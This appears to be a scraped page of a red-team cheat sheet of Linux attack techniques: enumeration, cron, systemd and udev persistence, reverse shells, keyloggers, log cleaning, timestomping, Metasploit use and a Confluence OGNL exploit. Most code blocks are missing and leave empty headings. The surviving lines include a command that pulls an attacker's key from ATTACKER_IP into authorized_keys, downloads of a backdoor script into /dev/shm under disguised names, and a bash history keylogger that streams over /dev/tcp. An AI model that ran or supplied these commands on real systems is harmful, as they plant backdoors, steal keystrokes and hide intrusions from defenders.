Linux

Linux TTPs

System Enumeration / Post Exploitation

id
w
who -a
last -a
ps -ef
df -h
uname -a
mount
cat /etc/issue
cat /etc/*-release
cat /etc/release
cat /proc/version

# Add public key to authorized keys
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

# Download program in RAM
wget 10.10.14.14:8000/backdoor.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/backdoor.py -P /dev/shm
curl 10.10.14.14:8000/backdoor.py -o /dev/shm/nothing_special.py

Search for useful binaries:

Linux Miscellaneous Commands / Covering Tracks

Efficient Linux CLI Navigation

CLI

Fork Bomb

Linux:

Python:

TCPDump

One Liner to Add Persistence on a Box via Cron

On the attack platform: nc -lvp 1234

Systemd User Level Persistence

Place a service file in ~/.config/systemd/user/

Sample file:

Enable service and start service:

On the next user login systemd will happily start a reverse shell.

Udev Rules Persistence

udev rules in Linux are configuration files that allow the system to dynamically manage device files in the /dev directory. These rules can trigger specific actions or scripts when devices are added, removed, or change state. By matching attributes like device type, vendor ID, or kernel name, udev rules help automate tasks related to hardware events, making device management more flexible and customizable.

Example:

  1. First, create a new rule file under /etc/udev/rules.d/:

  1. After saving the rule file, reload the udev rules:

Systemd Timer Persistence

Systemd-timers are similar to cron jobs but offer more flexibility and integration with systemd. These can be harnessed to execute a script or binary at specified intervals or times, maintaining persistence on a compromised system.

  1. Create a Timer Unit File

  1. Create a Corresponding Service Unit File

  1. Enable and Start the Timer

Backdooring Sudo

Add to .bashrc

ICMP Tunneling One Liner

One Liner to Add Persistence on a Box via Sudoers File

Find Server Strings from HTTP Responses

Finding server strings from a file of URLs

Enumerating File Capabilities with Getcap

getcap displays the name and capabilities of each specified file. -r enables recursive search.

Enumerating User Files for Interesting Information

Finding World-Writable Files

Search GitHub for Personal Access Tokens

To use this regex expression on the webpage, prepend and append a / to the expression:

Search for OpenAI API Keys

Search for Google API Keys

Search for Slack Tokens

Search for Hardcoded Passwords

The regex is a POSIX ERE expression that matches

  • (password|pwd|pass) - either password or pwd or pass

  • [[:space:]]=[[:space:]] - a = enclosed with 0 or more whitespaces

  • [[:alpha:]]+ - 1 or more letters.

To output matches, add -o option to grep

Search for Passwords in Memory and Core Dumps

Memory:

Core Dump:

Searching Man Pages

Struggling to find a command that you are looking for? Try the man -k option!

Username Enumeration with Getent

getent is a Unix command that helps a user get entries in a number of important text files called databases. This includes the passwd and group databases which store user information – hence getent is a common way to look up user details on Unix.

Utilize Crt.sh and EyeWitness to Enumerate Web Pages

Uses crt.sh to identify certificates for target domain before screenshotting and actively scanning each webpage for login forms to use common credentials on.

Nmap TTPs

Below are useful Nmap scripts and their descriptions. You can find a full list of available scripts here:

  • sshv1: Checks if an SSH server supports the obsolete and less secure SSH Protocol Version 1.

  • DHCP discover: Sends a DHCPINFORM request to a host on UDP 67 to obtain all the local configuration parameters without allocating a new address.

  • ftp-anon: Checks if an FTP server allows anonymous logins.

  • ftp-brute: Performs brute force password auditing against FTP servers.

  • http-enum: Enumerates directories used by popular web applications and servers.

  • http-passwd: Checks if a webserver is vulnerable to directory traversal by attempting to retrieve etc/passwd or \boot(ini).

  • http-methods: Finds out what options are supported by an HTTP server by sending an OPTIONS request.

  • ms-sql-info: Attempts to determine configuration and version information for Microsoft SQL server instances.

  • mysql-enum: Performs valid-user enumeration against MySQL server using a bug.

  • NSF-showmount: Shows NFS exports, like the showmount -e command.

  • rdp-enum-encryption: Determines which encryption level is supposed by the RDP service.

  • smb-enum-shares: Attempts to list shares.

  • tftp-enum: Enumerates TFTP filenames by testing for a list of common ones.

Nmap Scan Every Interface that is Assigned an IP

Nmap IPv6 Nodes

  • All nodes multicast: ff02::1

  • All routers multicast: ff02::2

Locate targets with builtin ping6 command

Utilize ndp to enumerate all of the current ndp entries.

Nmap to Evaluate HTTPS Support

Encrypt Files with Vim

Testssl.sh

Enumerating ciphers and encryption weaknesses using Testssl command line tool:

Download: https://testssl.sh/

The normal use case is testssl.sh <hostname>.

Special cases:

Apache Flink Directory Traversal

LD_PRELOAD Hijacking

If you set LD_PRELOAD to the path of a shared object, that file will be loaded before any other library (including the C runtime, libc.so)

Bash Keylogger

PROMPT_COMMAND='history -a; tail -n1 ~/.bash_history > /dev/tcp/127.0.0.1/9000'

Strace Keylogger

Strace Options:

  1. –p 3103: connect to PID 3103, which above is on pts/0

  2. –t : print the time of day

  3. –e write: only capture write calls

  4. –q : be quiet

  5. –f : follow any fork (created) process

  6. –o keylogger.txt: output the results to a file named keylogger.txt

Netcat UDP Scanner

Recon for Specific Device Before Enumerating

TTL Fingerprinting

Cisco IOS 11.2 - 12.2 Vulnerability

FTP Through Non-Interactive Shell

NetCat Listeners

Persistent Ncat listener:

Python Reverse Shell

Bash Reverse Shell

Turn Nmap into a Vulnerability Scanner

Download: https://github.com/scipag/vulscan

Usage:

Nmap Privilege Escalation

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

Nmap Using Multiple Scripts on One Target

Usage:

IDS/IPS Nmap Evasion

Low and slow (-T2), Fast mode (-F), Append random data to sent packets (--data-length), Randomize hosts, and verbosely conduct service detection on a file of hosts and output to XML.

Scanning Large Networks and Avoiding Sensitive IP Ranges

Set exclude.txt equal to the contents of https://pastebin.com/53DP2HNV

Finding Open FTP Servers

Finding FTP servers that allow anonymous logons can assist in numerous red-teaming activities such as Nmap FTP bounce scans.

Scalable Heartbleed Hunting with Shodan

Hunt for components susceptible to the Heartbleed vulnerability before exploiting the devices memory with this one-liner. This command requires an Academic Plus Shodan API key.

Extract Passwords from HTTP POST Requests

BPF'ing DNS Records

Important Files

Backdooring Systemd Services

Create the following service descriptor at /etc/systemd/system/notmalicious.service:

Enable the backdoor service to run on restart:

Old-Fashioned Log Cleaning

Grep to remove sensitive attacker information then copy into original logs

ASLR Enumeration

Address space layout randomization (ASLR) is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries.

  • If the following equals 0, not enabled

Reverse Shells

Encrypted Reverse Shells with OpenSSL

Generate SSL certificate:

Start an SSL listener on your attacking machine using openssl:

Run the payload on target machine using openssl:

Bash

PERL

Python

PHP

Ruby

Netcat

Netcat port scanner

Netcat and OpenSSL banner grabbing

Socat

Reverse shell:

On the attack platform:

On the victim platform:

Bind shell:

On the attack platform:

On the victim platform:

Java

Password Harvesting

Passwords can be found in many places

Enumerate password and account information with chage

Unusual Accounts

Look in /etc/passwd for new accounts in a sorted list:

Look for users with a UID of 0:

Enumerating with Finger

Various information leak vulnerabilities exist in fingerd implementations. A popular attack involves issuing a '1 2 3 4 5 6 7 8 9 0' request against a Solaris host running fingerd.

Performing a finger user@target.host request is especially effective against Linux, BSD, Solaris, and other Unix systems, because it often reveals a number of user accounts.

Poorly written fingerd implementations allow attackers to pipe commands through the service, which are, in turn, run on the target host by the owner of the service process (such as root or bin under Unix-based systems).

Enumerating with Traceroute

Latency jumps in Traceroute values can identify geographic data:

source: https://www.tolaris.com/2008/10/09/identifying-undersea-fibre-and-satellite-links-with-traceroute/

Changing MAC Addresses

Look up vendor MAC you want to impersonate: https://mac2vendor.com/

Change MAC:

Routers

Resources:

Metasploit Callback Automation

Use AutoRunScript to run commands on a reverse shell callback

/root/commands.rc contains the commands you wish to run

Example:

Metasploit Resource Script Creation

Although there are several resource scripts that are available through the framework, you may want to build a custom script of your own. For example, if you routinely run a specific exploit and payload combination against a target, you may want to create a resource script to automate these commands for you. Since this example uses purely msfconsole commands, the easiest way to create a resource script is through the makerc command available in msfconsole. The makerc command records all of the commands you've run in the console and saves them in a resource script for you.

To save these commands to a resource script, we can use the makerc command. We'll need to provide the output location and name we want the script to use:

Metasploit Session Management

List all sessions

Execute command across all sessions

Kill all sessions

Upgrade a shell to a meterpreter session on many platforms

Metasploit Tips I Discovered Too Late

In order to save a lot of typing during a pentest, you can set global variables within msfconsole. You can do this with the setg command. Once these have been set, you can use them in as many exploits and auxiliary modules as you like. You can also save them for use the next time you start msfconsole. However, the pitfall is forgetting you have saved globals, so always check your options before you run or exploit. Conversely, you can use the unsetg command to unset a global variable. In the examples that follow, variables are entered in all-caps (ie: LHOST), but Metasploit is case-insensitive so it is not necessary to do so.

To capture the output of modules ran within Metasploit, utilize the spool command and designate a destination log file.

Enable RDP:

Cleanup RDP:

Run modules against file of hosts:

Search for interesting files:

Metasploit Web Server Interface:

Start the web service, listening on any host address:

Metasploit Email Harvesting:

Attack outside of the LAN with ngrok:

First step, set up a free account in ngrok then start ngrok:

Create malicious payload:

Start listener:

Ingest Other Tools' Output Files:

Confluence CVE-2022-26134

CVE-2022-26314 is an unauthenticated and remote OGNL injection vulnerability resulting in code execution in the context of the Confluence server (typically the confluence user on Linux installations). Given the nature of the vulnerability, internet-facing Confluence servers are at very high risk.

As stated, the vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. “BALH”). In its simplest form, an exploit abusing the vulnerability looks like this:

Above, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of /. Decoded it looks like this:

Reverse Shell:

Decoded:

POP Syntax

SSH Dynamic Port Forwarding

Forwards one local port to multiple remote hosts; it is useful for accessing multiple systems.

Now, an attacker could utilize a SOCKS proxy or proxychains to access the systems.

Dominating Samba with pdbedit

The pdbedit program is used to manage the users accounts stored in the sam database and can only be run by root. There are five main ways to use pdbedit: adding a user account, removing a user account, modifying a user account, listing user accounts, importing users accounts.

Options:

Lists all the user accounts present in the users database. This option prints a list of user/uid pairs separated by the ':' character.

Enables the verbose listing format. It causes pdbedit to list the users in the database, printing out the account fields in a descriptive format.

Sets the "smbpasswd" listing format. It will make pdbedit list the users in the database, printing out the account fields in a format compatible with the smbpasswd file format.

Encrypted File Transfers with Ncat

Suppose you have an SSH tunnel, and you want to copy a file to the remote machine. You could just scp it directly, but that opens up another connection. The goal is to re-use the existing connection. You can use ncat to do this:

No extra overhead. TCP takes care of error correction. SSH has already encrypted the pipe.

Tsharking for Domain Users

IP Information

Cloning Websites for Social Engineering with Wget

Here are the switches:

Spidering the Web with Wget

Hiding PID Listings From Non-Root Users

To prevent a user from seeing all the processes running on a system, mount the /proc file system using the hidepid=2 option:

Exporting Objects with Tshark

To extract a file, read in a file, use the --export-objects flag and specify the protocol and directory to save the files. Without -Q, tshark will read packets and send to stdout even though it is exporting objects.

Supported Protocols:

Rogue APs with Karmetasploit

Karmetasploit is a great function within Metasploit, allowing you to fake access points, capture passwords, harvest data, and conduct browser attacks against clients.

Install Karmetasploit configuration:

Install and configure sqlite and DHCP server:

Now we are ready to go. First off, we need to locate our wireless card, then start our wireless adapter in monitor mode with airmon-ng. Afterwards we use airbase-ng to start a new wireless network.

Before we run our DHCP server, we need to create a lease database, then we can get it to listening on our new interface.

Run Karmetasploit:

At this point, we are up and running. All that is required now is for a client to connect to the fake access point. When they connect, they will see a fake ‘captive portal’ style screen regardless of what website they try to connect to. You can look through your output, and see that a wide number of different servers are started. From DNS, POP3, IMAP, to various HTTP servers, we have a wide net now cast to capture various bits of information.

Passive Fingerprinting with P0f

Use interface eth0 (-i eth0) in promiscuous mode (-p), saving the results to a file (-o /tmp/p0f.log):

Advanced Mitm Attacks with Bettercap Filters

Display a message if the tcp port is 22:

Log all telnet traffic:

Log ssh decrypted packets matching the regexp:

Rust Reverse Shell

Fake Sudo Program to Harvest Credentials

Mimics legitimate Sudo binary to capture credentials and output to /tmp directory file.

TruffleHog GitHub Organizations

Enumerate GitHub organizations for secrets and credentials

Bypass File System Protections (Read-Only and No-Exec) for Containers

It's increasingly common to find Linux machines mounted with read-only (ro) file system protection, especially in containers. This is because running a container with ro file system is as easy as setting readOnlyRootFilesystem: true in the securitycontext:

However, even if the file system is mounted as ro, /dev/shm will still be writable, so it's fake we cannot write anything on the disk. However, this folder will be mounted with no-exec protection, so if you download a binary here you won't be able to execute it.

DDexec is a technique that allows you to modify the memory of your own process by overwriting its /proc/self/mem.

Dumping Printer NVRAM

You can dump the NVRAM and extract confidential info (as passwords) by accessing arbitrary addresses using PJL:

Slash Proc Magic

Victim Host:

Using a process listing with ps, we can easily find the process, which would probably be noticed relatively quickly in a forensic investigation:

Using a process listing with ps, we can easily find the process, which would probably be noticed relatively quickly in a forensic investigation:

Creating the bind mount:

Search for process again:

By leveraging bind mounts to overlay a /proc/ directory, we demonstrated how a process can seemingly vanish from process listings while maintaining its functionality.

Linux Timestomping

Timestomping is an anti-forensics technique which is used to modify the timestamps of a file, often to mimic files that are in the same folder.

Set the last access time of file1 to January 02 15:45 of current year. It’s format is MMDDHHMM.

Set last modification date of a file with -m option.

Use the -r option and the file we want to inherit its access and modification timestamp. In this example we will use normal.elf last access and modification timestamp for newly created payload.elf.

Linux Bash History Stomping

One-liner:

Defenders can also enable timestamps in .bash_history using the command: export HISTTIMEFORMAT='%F %T '

Taking Apart URL Shorteners with cURL

Ever get a "shortened" url (bit.ly, tinyurl.com or whatever) and stress about "clicking that link"? Or worse yet, have that "Oh No" moment after you just clicked it? Let's use cURL to avoid this!

Output:

Email Spoofing PHP

Linux SIEM Bypass

PreviousICSNextMac OSX TTPs

Last updated